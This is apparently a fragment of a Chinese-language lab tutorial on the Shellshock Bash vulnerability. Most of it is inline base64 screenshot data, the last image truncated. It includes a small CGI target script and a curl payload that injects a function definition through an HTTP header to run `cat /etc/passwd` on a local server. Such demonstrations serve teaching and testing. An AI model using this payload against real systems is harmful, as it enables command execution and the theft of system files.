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" alt="" />
shell.sh
#!/bin/bash
echo "Content-type: text/html"
echo "" echo "<html>"
#下面这句不要也可以,加上这句只是为了更清晰的看出注入的结果
#/usr/bin/env
echo "</html>"
payload
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"' 'http://localhost/cgi-bin/shell.sh' -I
aaarticlea/png;base64,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